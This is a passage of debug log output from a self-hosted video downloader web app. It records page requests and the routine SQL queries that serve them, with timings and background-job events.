s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:35:00.201 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:35:00.201 [debug] QUERY OK source="media_items" db=0.4ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:35:00.202 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:35:00.203 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:35:00.205 [debug] QUERY OK source="media_items" db=1.3ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:35:00.206 [info] Sent 200 in 14ms 06:35:06.251 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:18.535 [info] GET /sources/31 06:35:18.535 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:35:18.537 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=900.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:18.538 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=901.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:35:18.539 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=902.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:35:18.539 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=903.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:35:18.539 [debug] QUERY OK source="settings" db=0.1ms idle=748.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:18.539 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:18.540 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:18.541 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:18.542 [debug] QUERY OK source="media_items" db=0.8ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 06:35:18.543 [debug] QUERY OK source="media_items" db=1.0ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:35:18.544 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:18.544 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 06:35:18.545 [debug] QUERY OK source="media_items" db=0.6ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:35:18.546 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:18.547 [debug] QUERY OK source="media_items" db=0.6ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 06:35:18.548 [debug] QUERY OK source="media_items" db=0.8ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 06:35:18.549 [info] Sent 200 in 14ms 06:35:28.580 [info] GET /sources/31/media/90767 06:35:28.580 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 06:35:28.582 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=945.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 06:35:28.584 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=947.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 06:35:28.584 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=947.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:28.585 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=949.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 06:35:28.586 [debug] QUERY OK source="settings" db=0.1ms idle=770.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:28.586 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:28.587 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:28.587 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:35:28.590 [info] Sent 200 in 10ms 06:35:36.189 [info] GET / 06:35:36.189 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:35:36.190 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=554.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:36.191 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=555.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:35:36.192 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=556.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:35:36.193 [debug] QUERY OK source="media_items" db=1.3ms idle=556.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:35:36.194 [debug] QUERY OK source="media_items" db=0.3ms idle=360.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:35:36.194 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:36.194 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:36.195 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:36.195 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:35:36.196 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:35:36.197 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:35:36.197 [debug] QUERY OK source="sources" db=0.3ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:35:36.200 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:35:36.202 [debug] QUERY OK source="media_items" db=1.6ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:35:36.202 [debug] QUERY OK source="sources" db=0.1ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:36.204 [info] Sent 200 in 14ms 06:35:36.253 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:38.062 [info] GET /sources/31/media/91114 06:35:38.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 06:35:38.063 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=427.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", 